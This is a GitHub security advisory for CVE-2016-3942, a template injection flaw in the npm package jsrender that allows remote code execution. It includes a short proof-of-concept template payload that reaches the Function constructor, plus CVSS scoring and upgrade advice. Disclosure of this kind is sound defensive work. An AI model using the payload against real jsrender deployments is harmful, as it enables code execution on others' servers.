Skip to content

Template Injection in jsrender

Moderate severity GitHub Reviewed Published Sep 1, 2020 to the GitHub Advisory Database • Updated Sep 7, 2023

Package

npm jsrender (npm)

Affected versions

<= 0.9.73

Patched versions

0.9.74

Description

Affected versions of jsrender are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.

Proof of Concept

//POC-REQUEST
{{for ~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)}}
{{:#data}}
{{/for}}
//POC-RESPONSE
function anonymous(data,view,j,u) { // template var v,t=j._tag,ret="" +t("for",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)']}, args:[view.hlp("x")!=1?(data.constructor.constructor("return arguments.callee.caller")()):view.hlp("y")(10)], props:{}}]); return ret; }

Recommendation

Update to version 0.9.74 or later.

References

Reviewed Aug 31, 2020
Published to the GitHub Advisory Database Sep 1, 2020
Last updated Sep 7, 2023

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Weaknesses

CVE ID

CVE-2016-3942

GHSA ID

GHSA-r87w-47m8-22w3

Source code

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.